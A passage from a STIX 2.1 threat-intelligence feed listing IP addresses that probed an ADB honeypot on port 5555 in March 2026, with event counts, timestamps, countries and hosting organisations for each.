        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:00:08.000Z",
      "valid_until": "2026-05-01T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-30T02:36:17.000Z",
          "last_seen": "2026-03-30T02:47:44.789Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T03:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T02:04:54.000Z | last_seen=2026-03-30T02:05:58.496Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--aa63a03f-986f-4178-941b-87c098d4eb00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.189.234.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:00:08.000Z",
      "valid_until": "2026-05-01T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T02:04:54.000Z",
          "last_seen": "2026-03-30T02:05:58.496Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=ES; asn=47585; asn_org=Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-30T03:30:16.000Z | last_seen=2026-03-30T03:40:22.346Z | ports=5555 | cc=ES | asn=47585 | org=Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi",
      "id": "indicator--2c02d1dc-5381-4bac-a06f-f39bd3d3c394",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.8.113.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:00:03.000Z",
      "valid_until": "2026-05-01T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-30T03:30:16.000Z",
          "last_seen": "2026-03-30T03:40:22.346Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "47585"
          ],
          "org": [
            "Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=ES; asn=47585; asn_org=Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-30T03:30:16.000Z | last_seen=2026-03-30T03:40:22.346Z | ports=5555 | cc=ES | asn=47585 | org=Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi",
      "id": "indicator--2c02d1dc-5381-4bac-a06f-f39bd3d3c394",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.8.113.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:00:03.000Z",
      "valid_until": "2026-05-01T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-30T03:30:16.000Z",
          "last_seen": "2026-03-30T03:40:22.346Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "47585"
          ],
          "org": [
            "Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T05:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=9009; asn_org=M247 Europe SRL; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-30T04:14:52.000Z | last_seen=2026-03-30T04:20:56.153Z | ports=5555 | cc=US | asn=9009 | org=M247 Europe SRL",
      "id": "indicator--a79bab1b-94f0-4df6-b020-239fbd4b4f1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '146.70.230.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:00:05.000Z",
      "valid_until": "2026-05-01T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-30T04:14:52.000Z",
          "last_seen": "2026-03-30T04:20:56.153Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "9009"
          ],
          "org": [
            "M247 Europe SRL"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T05:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=9009; asn_org=M247 Europe SRL; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-30T04:14:52.000Z | last_seen=2026-03-30T04:20:56.153Z | ports=5555 | cc=US | asn=9009 | org=M247 Europe SRL",
      "id": "indicator--a79bab1b-94f0-4df6-b020-239fbd4b4f1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '146.70.230.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T05:00:05.000Z",
      "valid_until": "2026-05-01T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-30T04:14:52.000Z",
          "last_seen": "2026-03-30T04:20:56.153Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "9009"
          ],
          "org": [
            "M247 Europe SRL"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=32709; asn_org=Joink, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-30T05:56:07.000Z | last_seen=2026-03-30T06:12:48.096Z | ports=5555 | cc=US | asn=32709 | org=Joink, LLC",
      "id": "indicator--17b803e5-b70f-4ae0-b984-105adf995188",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '168.92.211.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:00:04.000Z",
      "valid_until": "2026-05-01T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-30T05:56:07.000Z",
          "last_seen": "2026-03-30T06:12:48.096Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "32709"
          ],
          "org": [
            "Joink, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T06:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=32709; asn_org=Joink, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-30T05:56:07.000Z | last_seen=2026-03-30T06:12:48.096Z | ports=5555 | cc=US | asn=32709 | org=Joink, LLC",
      "id": "indicator--17b803e5-b70f-4ae0-b984-105adf995188",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '168.92.211.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T06:00:05.000Z",
      "valid_until": "2026-05-01T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-30T05:56:07.000Z",
          "last_seen": "2026-03-30T06:12:48.096Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "32709"
          ],
          "org": [
            "Joink, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T07:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T06:06:38.000Z | last_seen=2026-03-30T06:07:43.417Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9f3e13f6-3587-4f5b-a7d1-0c2cce809fda",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.2.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T07:00:06.000Z",
      "valid_until": "2026-05-01T07:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T06:06:38.000Z",
          "last_seen": "2026-03-30T06:07:43.417Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T07:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T06:06:38.000Z | last_seen=2026-03-30T06:07:43.417Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9f3e13f6-3587-4f5b-a7d1-0c2cce809fda",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.2.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T07:00:07.000Z",
      "valid_until": "2026-05-01T07:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T06:06:38.000Z",
          "last_seen": "2026-03-30T06:07:43.417Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=20055; asn_org=Wholesail networks LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-30T08:25:09.000Z | last_seen=2026-03-30T08:44:11.078Z | ports=5555 | cc=US | asn=20055 | org=Wholesail networks LLC",
      "id": "indicator--ca8eaf5c-166b-41c5-879e-3b6bf5bba671",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '50.47.179.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T09:00:03.000Z",
      "valid_until": "2026-05-01T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-30T08:25:09.000Z",
          "last_seen": "2026-03-30T08:44:11.078Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20055"
          ],
          "org": [
            "Wholesail networks LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-30T09:01:46.000Z | last_seen=2026-03-30T09:13:37.044Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--a89a0a3e-4286-4200-9b8d-f529b5b10e70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '40.124.173.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T10:00:02.000Z",
      "valid_until": "2026-05-01T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-30T09:01:46.000Z",
          "last_seen": "2026-03-30T09:13:37.044Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T12:35:22.000Z | last_seen=2026-03-30T12:36:31.384Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--470f18b1-4138-497e-a171-0becfa6ce8f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T13:00:04.000Z",
      "valid_until": "2026-05-01T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T12:35:22.000Z",
          "last_seen": "2026-03-30T12:36:31.384Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T15:48:13.000Z | last_seen=2026-03-30T15:49:18.565Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--47ddf46e-7477-4b49-9c11-a4d692e9c0d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.237.156.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:00:03.000Z",
      "valid_until": "2026-05-01T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T15:48:13.000Z",
          "last_seen": "2026-03-30T15:49:18.565Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T16:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T15:48:13.000Z | last_seen=2026-03-30T15:49:18.565Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--47ddf46e-7477-4b49-9c11-a4d692e9c0d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.237.156.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T16:00:05.000Z",
      "valid_until": "2026-05-01T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T15:48:13.000Z",
          "last_seen": "2026-03-30T15:49:18.565Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=42; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=42 | first_seen=2026-03-30T18:01:36.000Z | last_seen=2026-03-30T18:12:04.526Z | ports=5555 | cc=DE | asn=212512 | org=Detai Prosperous Technologies Limited",
      "id": "indicator--b939fc4b-e0bd-4e48-96d8-6672675d0608",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T19:00:03.000Z",
      "valid_until": "2026-05-01T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 42,
          "first_seen": "2026-03-30T18:01:36.000Z",
          "last_seen": "2026-03-30T18:12:04.526Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "212512"
          ],
          "org": [
            "Detai Prosperous Technologies Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T19:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=42; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=42 | first_seen=2026-03-30T18:01:36.000Z | last_seen=2026-03-30T18:12:04.526Z | ports=5555 | cc=DE | asn=212512 | org=Detai Prosperous Technologies Limited",
      "id": "indicator--b939fc4b-e0bd-4e48-96d8-6672675d0608",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.102']",
      "pattern_type": "stix",
